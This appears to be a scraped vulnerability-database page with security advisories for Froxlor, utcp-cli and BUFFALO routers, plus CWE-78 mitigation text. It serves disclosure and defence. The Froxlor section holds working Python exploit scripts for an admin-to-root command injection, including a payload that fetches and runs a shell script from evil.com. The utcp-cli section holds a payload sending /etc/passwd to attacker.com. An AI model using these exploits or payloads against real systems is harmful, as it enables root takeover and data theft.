is an unintentional code defect.** The `==` operator on a standalone line is a no-op. No developer writes `$x == \u0027mail\u0027;` intentionally. This is a typo that silently breaks an entire class of input validation. It is not an admin feature.\n\n4. **Comparable CVEs exist for similar hosting panel escalations:**\n   - CVE-2022-44877 (CentOS Web Panel: admin\u2192root RCE, CVSS 9.8)\n   - CVE-2023-27524 (Apache Superset: admin\u2192RCE)\n   - CVE-2021-21315 (Node.js systeminformation: privileged user\u2192RCE)\n   - CVE-2024-22024 (Ivanti: authenticated\u2192system command execution)\n\n   In each case, the fact that the attacker needs authenticated access did not prevent CVE assignment. The privilege escalation from \"application admin\" to \"OS root\" is the security impact.\n\n5. **Multi-tenant impact.** A single compromised or malicious admin gains root access to a server hosting potentially hundreds of customers. All customer data, databases, emails, and SSL keys are exposed.\n\n---\n\n## Vulnerability Details\n\n### Bug 1: Input Validation Bypass (CWE-482)\n\n**File:** `lib/Froxlor/Validate/Form/Data.php`\n\n```php\n// Line 169 \u2014 CURRENT CODE (BUGGY)\npublic static function validateFormFieldEmail($fieldname, $fielddata, $newfieldvalue)\n{\n    $fielddata[\u0027string_type\u0027] == \u0027mail\u0027;   // == comparison: result is discarded\n    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);\n}\n\n// Line 175 \u2014 SAME BUG\npublic static function validateFormFieldUrl($fieldname, $fielddata, $newfieldvalue)\n{\n    $fielddata[\u0027string_type\u0027] == \u0027url\u0027;    // == comparison: result is discarded\n    return self::validateFormFieldString($fieldname, $fielddata, $newfieldvalue);\n}\n```\n\n**What happens:**\n- `$fielddata[\u0027string_type\u0027]` is never set to `\u0027mail\u0027`\n- `validateFormFieldString()` checks `string_type` to decide which validation to apply\n- Since it\u0027s unset, `FILTER_VALIDATE_EMAIL` is never called\n- Validation falls through to a permissive fallback regex: `/^[^\\r\\n\\t\\f\\0]*$/D`\n- This regex allows `|`, `;`, `\u0026`, `$`, `` ` ``, and all other shell metacharacters\n\n**Intended code:**\n```php\n$fielddata[\u0027string_type\u0027] = \u0027mail\u0027;    // = assignment\n```\n\n### Bug 2: OS Command Injection via acme.sh Installation (CWE-78)\n\n**File:** `lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php`\n\n```php\n// Line 428\nFileDir::safe_exec(\n    \"wget -O - https://get.acme.sh | sh -s email=\" . Settings::Get(\u0027panel.adminmail\u0027),\n    $return,\n    [\u0027|\u0027]    // pipe character EXPLICITLY ALLOWED\n);\n```\n\n**What happens:**\n- `Settings::Get(\u0027panel.adminmail\u0027)` returns the unsanitized value from Bug 1\n- `safe_exec()` normally blocks `|` as a dangerous character\n- But `[\u0027|\u0027]` in the third argument whitelists pipe for this specific call (needed for `wget | sh`)\n- An attacker\u0027s pipe-based payload passes through unblocked\n- The cron job runs as **root**\n\n### The Chain\n\n```\nAdmin sets panel.adminmail = \"x@x.com | COMMAND\"\n        |\n        v\nBug 1: validateFormFieldEmail() does nothing (== typo)\n        |\n        v\nValue stored to database as-is\n        |\n        v\nCron job runs AcmeSh::checkInstall() as root\n        |\n        v\nBug 2: safe_exec(\"wget ... | sh -s email=x@x.com | COMMAND\", ..., [\u0027|\u0027])\n        |\n        v\nCOMMAND executes as root\n```\n\n---\n\n## Proof of Concept\nvuln 1 PoC:\n```\n#!/usr/bin/env python3\n\"\"\"\nVULN-1 Live Verification: Email Validation Bypass\nTests against running Froxlor Docker instance.\n\"\"\"\n\nimport re\nimport sys\nimport requests\n\nTARGET = \"http://localhost:8080\"\nUSERNAME = \"admin\"\nPASSWORD = \"Admin123!@#\"\n\n# Malicious payloads that should be rejected by email validation\n# but will pass due to the == vs = bug\nPAYLOADS = [\n    \"x@x.com | id\",\n    \"x@x.com | curl http://evil.com/shell.sh | sh\",\n    \"not-an-email; whoami\",\n    \"$(touch /tmp/pwned)\",\n    \"test`id`@evil.com\",\n]\n\n\ndef main():\n    session = requests.Session()\n    session.verify = False\n\n    # Step 1: Login\n    print(\"[*] Step 1: Logging in...\")\n    resp = session.get(f\"{TARGET}/index.php\")\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    csrf_token = csrf_match.group(1) if csrf_match else \"\"\n    print(f\"    CSRF token: {csrf_token[:20]}...\")\n\n    login_data = {\n        \"loginname\": USERNAME,\n        \"password\": PASSWORD,\n        \"csrf_token\": csrf_token,\n        \"send\": \"send\",\n    }\n    resp = session.post(f\"{TARGET}/index.php\", data=login_data, allow_redirects=True)\n\n    if \"admin_index\" not in resp.url and \"admin_index\" not in resp.text:\n        print(f\"[-] Login failed. URL: {resp.url}\")\n        print(f\"    Response: {resp.text[:200]}\")\n        sys.exit(1)\n    print(\"[+] Login successful!\")\n\n    # Re-get CSRF token from authenticated page\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    if csrf_match:\n        csrf_token = csrf_match.group(1)\n\n    # Step 2: Try to set panel.adminmail with each payload\n    for payload in PAYLOADS:\n        print(f\"\\n[*] Testing payload: {payload}\")\n\n        # Get settings page to get fresh CSRF token\n        resp = session.get(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\")\n        csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n        if csrf_match:\n            csrf_token = csrf_match.group(1)\n\n        # Submit settings change\n        settings_data = {\n            \"panel_adminmail\": payload,\n            \"csrf_token\": csrf_token,\n            \"send\": \"send\",\n            \"page\": \"overview\",\n            \"part\": \"all\",\n        }\n        resp = session.post(\n            f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\",\n            data=settings_data,\n            allow_redirects=True,\n        )\n\n        # Check DB to see if value was stored\n        import subprocess\n        result = subprocess.run(\n            [\n                \"docker\", \"exec\", \"froxlor-web\", \"bash\", \"-c\",\n                \"mysql -h froxlor-db -u froxlor -pfroxlor_db_pw --skip-ssl froxlor \"\n                \"-e \\\"SELECT value FROM panel_settings WHERE settinggroup=\u0027panel\u0027 AND varname=\u0027adminmail\u0027\\\" -N 2\u003e/dev/null\"\n            ],\n            capture_output=True, text=True\n        )\n        stored_value = result.stdout.strip()\n\n        if payload in stored_value or stored_value == payload:\n            print(f\"    [VULN] CONFIRMED! Stored value: {stored_value}\")\n        else:\n            print(f\"    [INFO] Stored value: {stored_value}\")\n            print(f\"    [INFO] May need different form field names or approach\")\n\n    # Restore original value\n    print(\"\\n[*] Restoring original admin email...\")\n    resp = session.get(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\")\n    csrf_match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n    if csrf_match:\n        csrf_token = csrf_match.group(1)\n    settings_data = {\n        \"panel_adminmail\": \"admin@test.local\",\n        \"csrf_token\": csrf_token,\n        \"send\": \"send\",\n        \"page\": \"overview\",\n        \"part\": \"all\",\n    }\n    session.post(f\"{TARGET}/admin_settings.php?page=overview\u0026part=all\", data=settings_data, allow_redirects=True)\n    print(\"[+] Done.\")\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n### Environment\n- Froxlor 2.3.3, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)\n- Default configuration, no modifications\n\n### Step 1: Confirm validation bypass\n\n```php\n\u003c?php\n// Standalone reproduction \u2014 no Froxlor installation needed.\n// Reproduces the exact logic from Data.php lines 113-169.\n\nfunction validateEmail_buggy($value) {\n    $fielddata = [];\n    @($fielddata[\u0027string_type\u0027] == \u0027mail\u0027);  // BUG: line 169\n    // string_type never set \u2192 FILTER_VALIDATE_EMAIL skipped \u2192 fallback regex\n    return preg_match(\u0027/^[^\\r\\n\\t\\f\\0]*$/D\u0027, $value) ? \u0027PASS\u0027 : \u0027REJECT\u0027;\n}\n\nfunction validateEmail_fixed($value) {\n    $fielddata = [];\n    $fielddata[\u0027string_type\u0027] = \u0027mail\u0027;      // FIX\n    return filter_var($value, FILTER_VALIDATE_EMAIL) ? \u0027PASS\u0027 : \u0027REJECT\u0027;\n}\n\n$tests = [\u0027admin@example.com\u0027, \u0027not-an-email\u0027, \u0027x@x.com | touch /tmp/pwned\u0027];\nforeach ($tests as $t) {\n    echo sprintf(\"%-40s  buggy=%-6s  fixed=%s\\n\", $t, validateEmail_buggy($t), validateEmail_fixed($t));\n}\n```\n\nvuln 2 PoC:\n```\n#!/usr/bin/env python3\n\"\"\"\nVULN-2: Froxlor v2.3.3 Root RCE via acme.sh Command Injection\n===============================================================\nCWE-78: OS Command Injection | CVSS 9.1\n\nChain: VULN-1 (email validation bypass) \u2192 VULN-2 (acme.sh pipe injection)\n\nAttack Flow:\n  1. Admin sets panel.adminmail = \"x@x.com | COMMAND\" (bypasses email validation)\n  2. When Let\u0027s Encrypt is enabled and acme.sh is not installed\n  3. AcmeSh.php:428 executes: wget ... | sh -s email=x@x.com | COMMAND\n  4. Pipe character passes safe_exec() because it\u0027s in allowedChars=[\u0027|\u0027]\n  5. COMMAND runs as root (cron context)\n\nUsage:\n  # Full exploitation (requires target access)\n  python3 vuln2_acmesh_rce.py --target https://froxlor.example.com \\\n      --user admin --password secret --command \"id \u003e /tmp/rce_proof\"\n\n  # Offline demonstration\n  python3 vuln2_acmesh_rce.py --demo\n\"\"\"\n\nimport argparse\nimport re\nimport sys\n\ntry:\n    import requests\nexcept ImportError:\n    print(\"[!] pip install requests\")\n    sys.exit(1)\n\n\nBANNER = \"\"\"\n\u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\n\u2551  Froxlor v2.3.3 \u2014 Root RCE via acme.sh Command Injection    \u2551\n\u2551  VULN-1 + VULN-2 Chain | CWE-78 | CVSS 9.1                  \u2551\n\u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\n\"\"\"\n\n\nclass FroxlorRCE:\n    def __init__(self, target, verify_ssl=False):\n        self.target = target.rstrip(\"/\")\n        self.session = requests.Session()\n        self.session.verify = verify_ssl\n\n    def login(self, username, password):\n        print(f\"[*] Logging in as \u0027{username}\u0027...\")\n        resp = self.session.post(\n            f\"{self.target}/index.php\",\n            data={\"loginname\": username, \"password\": password, \"send\": \"send\"},\n            allow_redirects=False,\n        )\n        if resp.status_code == 302 and \"admin_index\" in resp.headers.get(\"Location\", \"\"):\n            self.session.get(f\"{self.target}/admin_index.php\")\n            print(\"[+] Login successful!\")\n            return True\n        print(\"[-] Login failed\")\n        return False\n\n    def get_csrf(self, url):\n        resp = self.session.get(url)\n        match = re.search(r\u0027name=\"csrf_token\"\\s+value=\"([^\"]+)\"\u0027, resp.text)\n        return match.group(1) if match else \"\"\n\n    def inject_email(self, payload):\n        \"\"\"Inject malicious value into panel.adminmail (VULN-1).\"\"\"\n        print(f\"[*] Injecting into panel.adminmail: {payload}\")\n        csrf = self.get_csrf(f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\")\n        resp = self.session.post(\n            f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\",\n            data={\n                \"csrf_token\": csrf,\n                \"send\": \"send\",\n                \"page\": \"overview\",\n                \"panel_adminmail\": payload,\n            },\n            allow_redirects=True,\n        )\n        print(f\"[+] Settings updated (HTTP {resp.status_code})\")\n        return resp.status_code == 200\n\n    def trigger_acmesh_install(self):\n        \"\"\"\n        Trigger acme.sh installation by enabling Let\u0027s Encrypt\n        and ensuring acme.sh path is invalid.\n        \"\"\"\n        print(\"[*] Triggering acme.sh installation path...\")\n        print(\"[*] In production, this happens automatically when:\")\n        print(\"    - Let\u0027s Encrypt is enabled (system.le_froxlor_enabled=1)\")\n        print(\"    - acme.sh binary is not found at configured path\")\n        print(\"    - Cron job runs (every 5 minutes)\")\n        print()\n        print(\"[*] To manually trigger:\")\n        print(\"    docker exec froxlor-web php /var/www/html/froxlor/bin/froxlor-cli froxlor:cron --force\")\n\n    def exploit(self, command):\n        \"\"\"Full exploitation: inject \u2192 trigger \u2192 RCE.\"\"\"\n        payload = f\"x@x.com | {command}\"\n        self.inject_email(payload)\n\n        print()\n        print(\"[*] Command chain that will execute as root:\")\n        print(f\"    wget -O - https://get.acme.sh | sh -s email={payload}\")\n        print()\n        print(\"[*] This decomposes to:\")\n        print(f\"    1. wget -O - https://get.acme.sh\")\n        print(f\"    2. | sh -s email=x@x.com\")\n        print(f\"    3. | {command}\")\n        print()\n\n        self.trigger_acmesh_install()\n\n    def restore(self, original=\"admin@test.local\"):\n        \"\"\"Restore original admin email.\"\"\"\n        print(f\"\\n[*] Restoring original email: {original}\")\n        csrf = self.get_csrf(f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\")\n        self.session.post(\n            f\"{self.target}/admin_settings.php?page=overview\u0026part=panel\",\n            data={\n                \"csrf_token\": csrf,\n                \"send\": \"send\",\n                \"page\": \"overview\",\n                \"panel_adminmail\": original,\n            },\n        )\n        print(\"[+] Restored\")\n\n\ndef demo():\n    \"\"\"Offline demonstration of the vulnerability mechanics.\"\"\"\n    print(\"[*] Demonstrating VULN-2 mechanics (offline)...\\n\")\n\n    adminmail = \"x@x.com | touch /tmp/ROOT_RCE_PROOF\"\n    full_cmd = f\"wget -O - https://get.acme.sh | sh -s email={adminmail}\"\n\n    print(f\"  admin email:  {adminmail}\")\n    print(f\"  full command: {full_cmd}\")\n    print()\n\n    # Simulate safe_exec filter\n    disallowed = [\u0027;\u0027, \u0027|\u0027, \u0027\u0026\u0027, \u0027\u003e\u0027, \u0027\u003c\u0027, \u0027`\u0027, \u0027$\u0027, \u0027~\u0027, \u0027?\u0027]\n    allowed_chars = [\u0027|\u0027]\n\n    print(\"  safe_exec() filter check:\")\n    blocked = False\n    for char in disallowed:\n        if char in full_cmd:\n            if char in allowed_chars:\n                print(f\"    \u0027{char}\u0027 \u2192 ALLOWED (in allowedChars)\")\n            else:\n                print(f\"    \u0027{char}\u0027 \u2192 BLOCKED\")\n                blocked = True\n\n    print()\n    if not blocked:\n        print(\"  RESULT: Command passes safe_exec() filter!\")\n        print(\"  The pipe character chains our command after the wget/sh pipeline\")\n        print()\n        print(\"  Execution breakdown:\")\n        print(\"    Process 1: wget downloads acme.sh installer\")\n        print(\"    Process 2: sh runs installer with email parameter\")\n        print(\"    Process 3: touch /tmp/ROOT_RCE_PROOF \u2190 OUR COMMAND (as root)\")\n    else:\n        # In practice the payload above should only have | which is allowed\n        print(\"  NOTE: Some characters blocked. Adjust payload to use only pipe.\")\n\n    print()\n    print(\"  NOTE: The cron job runs as root, so the injected command\")\n    print(\"  executes with root privileges on the host system.\")\n\n\ndef main():\n    print(BANNER)\n\n    parser = argparse.ArgumentParser(description=\"Froxlor v2.3.3 Root RCE PoC\")\n    parser.add_argument(\"--target\", \"-t\", help=\"Froxlor URL\")\n    parser.add_argument(\"--user\", \"-u\", help=\"Admin username\")\n    parser.add_argument(\"--password\", \"-p\", help=\"Admin password\")\n    parser.add_argument(\"--command\", \"-c\", default=\"touch /tmp/ROOT_RCE_PROOF\",\n                        help=\"Command to execute as root\")\n    parser.add_argument(\"--restore\", action=\"store_true\", help=\"Restore original email after exploit\")\n    parser.add_argument(\"--demo\", action=\"store_true\", help=\"Run offline demonstration\")\n    args = parser.parse_args()\n\n    if args.demo:\n        demo()\n        return\n\n    if not all([args.target, args.user, args.password]):\n        print(\"[!] --target, --user, and --password required (or use --demo)\")\n        sys.exit(1)\n\n    exploit = FroxlorRCE(args.target)\n    if not exploit.login(args.user, args.password):\n        sys.exit(1)\n\n    exploit.exploit(args.command)\n\n    if args.restore:\n        exploit.restore()\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n\n**Output:**\n```\nadmin@example.com                         buggy=PASS    fixed=PASS\nnot-an-email                              buggy=PASS    fixed=REJECT\nx@x.com | touch /tmp/pwned               buggy=PASS    fixed=REJECT\n```\n\n### Step 2: Confirm value stored in database\n\n```\nPOST /admin_settings.php?page=overview\u0026part=panel HTTP/1.1\nCookie: [authenticated admin session]\n\ncsrf_token=...\u0026send=send\u0026page=overview\u0026panel_adminmail=x@x.com+|+touch+/tmp/VULN2_RCE_PROOF\n```\n\n```sql\nmysql\u003e SELECT value FROM panel_settings\n       WHERE settinggroup=\u0027panel\u0027 AND varname=\u0027adminmail\u0027;\n+-------------------------------------------+\n| value                                     |\n+-------------------------------------------+\n| x@x.com | touch /tmp/VULN2_RCE_PROOF     |\n+-------------------------------------------+\n```\n\n### Step 3: Confirm root code execution\n\nSimulating AcmeSh.php line 428 inside the Docker container:\n\n```php\n\u003c?php\n// Exact simulation of the vulnerable code path\n$adminmail = \"x@x.com | touch /tmp/VULN2_RCE_PROOF\";\n$cmd = \"echo DOWNLOAD_SIM | cat -s email=\" . $adminmail;\n\n// safe_exec filter with pipe allowed (matches AcmeSh.php:428)\n$disallowed = [\u0027;\u0027, \u0027|\u0027, \u0027\u0026\u0027, \u0027\u003e\u0027, \u0027\u003c\u0027, \u0027`\u0027, \u0027$\u0027, \u0027~\u0027, \u0027?\u0027];\n$allowedChars = [\u0027|\u0027];\nforeach ($disallowed as $dc) {\n    if (in_array($dc, $allowedChars)) continue;\n    if (stristr($cmd, $dc)) die(\"BLOCKED by: $dc\");\n}\n\nexec($cmd);  // pipe passes filter \u2192 command executes\necho file_exists(\"/tmp/VULN2_RCE_PROOF\") ? \"RCE CONFIRMED\" : \"NOT CREATED\";\n```\n\n**Result:**\n```\nRCE CONFIRMED\n\n$ ls -la /tmp/VULN2_RCE_PROOF\n-rw-r--r-- 1 root root 0 Feb 11 05:58 /tmp/VULN2_RCE_PROOF\n```\n\nFile created with **root:root** ownership. Arbitrary command execution as root is confirmed.\n\n---\n\n## Impact\n\n- **Confidentiality:** Complete. Root access exposes all customer data, databases, SSL private keys, email contents.\n- **Integrity:** Complete. Attacker can modify any file, inject backdoors, alter DNS records.\n- **Availability:** Complete. Attacker can destroy the server, wipe databases, or deploy ransomware.\n- **Scope:** Changed. The attack originates in the web application but impacts the underlying operating system.\n\n---\n\n## Suggested Fix\n\n### Primary fix (Bug 1 \u2014 eliminates the root cause):\n```php\n// lib/Froxlor/Validate/Form/Data.php\n// Line 169:\n$fielddata[\u0027string_type\u0027] = \u0027mail\u0027;    // was: == \u0027mail\u0027\n// Line 175:\n$fielddata[\u0027string_type\u0027] = \u0027url\u0027;     // was: == \u0027url\u0027\n```\n\n### Defense-in-depth (Bug 2 \u2014 even if validation is fixed):\n```php\n// lib/Froxlor/Cron/Http/LetsEncrypt/AcmeSh.php, Line 428:\nFileDir::safe_exec(\n    \"wget -O - https://get.acme.sh | sh -s email=\"\n        . escapeshellarg(Settings::Get(\u0027panel.adminmail\u0027)),\n    $return,\n    [\u0027|\u0027]\n);\n```\n\n### Defense-in-depth (ConfigServices.php):\n```php\n// All values in getReplacerArray() should be escaped with\n// escapeshellarg() when the template action type is \"install\" or \"command\"\n```",
  "id": "GHSA-33mp-8p67-xj7c",
  "modified": "2026-03-04T01:59:59Z",
  "published": "2026-03-03T17:40:19Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/Froxlor/security/advisories/GHSA-33mp-8p67-xj7c"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26279"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/commit/22249677107f8f39f8d4a238605641e87dab4343"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/froxlor/froxlor"
    },
    {
      "type": "WEB",
      "url": "https://github.com/froxlor/froxlor/releases/tag/2.3.4"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Froxlor has Admin-to-Root Privilege Escalation via Input Validation Bypass + OS Command Injection"
}

GHSA-33P6-5JXP-P3X4

Vulnerability from github – Published: 2026-05-14 20:56 – Updated: 2026-05-15 23:46

Summary

utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol

Details

Summary

The _substitute_utcp_args method in cli_communication_protocol.py inserts user-controlled tool_args values directly into shell command strings without any sanitization or escaping. These commands are then executed via /bin/bash -c (Unix) or powershell.exe -Command (Windows), allowing an attacker to inject arbitrary shell commands.

Affected File

plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py

Vulnerable Code

def replace_placeholder(match):
    arg_name = match.group(1)
    if arg_name in tool_args:
        return str(tool_args[arg_name])  # No escaping applied

The substituted command is then embedded directly into a shell script:

script_lines.append(f'{var_name}=$({substituted_command} 2>&1)')

And executed via:

shell_cmd = ['/bin/bash', '-c', script]

Proof of Concept

Given a tool defined as:

{"command": "python script.py --input UTCP_ARG_filename_UTCP_END"}

Calling with:

tool_args = {"filename": "data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)"}

Produces and executes:

CMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2>&1)

This results in full Remote Code Execution on the host system.

Patched

Fixed in utcp-cli 1.1.2. _substitute_utcp_args now shell-quotes every substituted value: shlex.quote on Unix, a PowerShell single-quoted literal on Windows. Each UTCP_ARG_..._UTCP_END placeholder therefore expands to exactly one shell token, blocking metacharacter injection (;, |, &, backticks, $(), newlines).

Behavior change: tools that relied on a single placeholder splitting into multiple shell tokens (e.g. UTCP_ARG_flags_UTCP_END -> --verbose --debug) must now use one placeholder per intended argument.

Mitigation

Upgrade to utcp-cli >= 1.1.2. There is no workaround in earlier versions short of refusing all attacker-controlled tool_args.

Credit

Reported by @ZeroXJacks.

Severity

10.0 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.1.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "utcp-cli"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.1.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45369"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-14T20:56:01Z",
    "nvd_published_at": "2026-05-14T21:16:48Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe `_substitute_utcp_args` method in `cli_communication_protocol.py` inserts user-controlled `tool_args` values directly into shell command strings without any sanitization or escaping. These commands are then executed via `/bin/bash -c` (Unix) or `powershell.exe -Command` (Windows), allowing an attacker to inject arbitrary shell commands.\n\n## Affected File\n\n`plugins/communication_protocols/cli/src/utcp_cli/cli_communication_protocol.py`\n\n## Vulnerable Code\n\n```python\ndef replace_placeholder(match):\n    arg_name = match.group(1)\n    if arg_name in tool_args:\n        return str(tool_args[arg_name])  # No escaping applied\n```\n\nThe substituted command is then embedded directly into a shell script:\n\n```python\nscript_lines.append(f\u0027{var_name}=$({substituted_command} 2\u003e\u00261)\u0027)\n```\n\nAnd executed via:\n\n```python\nshell_cmd = [\u0027/bin/bash\u0027, \u0027-c\u0027, script]\n```\n\n## Proof of Concept\n\nGiven a tool defined as:\n```json\n{\"command\": \"python script.py --input UTCP_ARG_filename_UTCP_END\"}\n```\n\nCalling with:\n```python\ntool_args = {\"filename\": \"data.csv; curl http://attacker.com/$(cat /etc/passwd | base64)\"}\n```\n\nProduces and executes:\n```bash\nCMD_0_OUTPUT=$(python script.py --input data.csv; curl http://attacker.com/$(cat /etc/passwd | base64) 2\u003e\u00261)\n```\n\nThis results in full Remote Code Execution on the host system.\n\n## Patched\n\nFixed in `utcp-cli` 1.1.2. `_substitute_utcp_args` now shell-quotes every substituted value: `shlex.quote` on Unix, a PowerShell single-quoted literal on Windows. Each `UTCP_ARG_..._UTCP_END` placeholder therefore expands to exactly one shell token, blocking metacharacter injection (`;`, `|`, `\u0026`, backticks, `$()`, newlines).\n\n**Behavior change:** tools that relied on a single placeholder splitting into multiple shell tokens (e.g. `UTCP_ARG_flags_UTCP_END` -\u003e `--verbose --debug`) must now use one placeholder per intended argument.\n\n## Mitigation\n\nUpgrade to `utcp-cli \u003e= 1.1.2`. There is no workaround in earlier versions short of refusing all attacker-controlled `tool_args`.\n\n## Credit\n\nReported by @ZeroXJacks.",
  "id": "GHSA-33p6-5jxp-p3x4",
  "modified": "2026-05-15T23:46:56Z",
  "published": "2026-05-14T20:56:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp/security/advisories/GHSA-33p6-5jxp-p3x4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45369"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/universal-tool-calling-protocol/python-utcp"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "utcp-cli Vulnerable to Command Injection via Unsanitized Argument Substitution in CLI Communication Protocol"
}

GHSA-33V8-G7J5-QG76

Vulnerability from github – Published: 2026-03-27 06:31 – Updated: 2026-03-27 06:31

Details

OS Command Injection vulnerability exists in BUFFALO Wi-Fi router products. If this vulnerability is exploited, an arbitrary OS command may be executed on the products.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.6 (High)


                  
                    CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-27650"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-78"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T06:16:38Z",
    "severity": "HIGH"
  },
  "details": "OS Command Injection vulnerability exists in BUFFALO Wi-Fi router products. If this vulnerability is exploited, an arbitrary OS command may be executed on the products.",
  "id": "GHSA-33v8-g7j5-qg76",
  "modified": "2026-03-27T06:31:43Z",
  "published": "2026-03-27T06:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27650"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/jp/JVN83788689"
    },
    {
      "type": "WEB",
      "url": "https://www.buffalo.jp/news/detail/20260323-01.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

Mitigation

Architecture and Design

If at all possible, use library calls rather than external processes to recreate the desired functionality.

Mitigation MIT-22

Architecture and Design Operation

Strategy: Sandbox or Jail

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.
OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.
Be careful to avoid CWE-243 and other weaknesses related to jails.

Mitigation

Architecture and Design

Strategy: Attack Surface Reduction

For any data that will be used to generate a command to be executed, keep as much of that data out of external control as possible. For example, in web applications, this may require storing the data locally in the session's state instead of sending it out to the client in a hidden form field.

Mitigation MIT-15

Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

Mitigation MIT-4.3

Architecture and Design

Strategy: Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
For example, consider using the ESAPI Encoding control [REF-45] or a similar tool, library, or framework. These will help the programmer encode outputs in a manner less prone to error.

Mitigation MIT-28

Implementation

Strategy: Output Encoding

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88).

Mitigation

Implementation

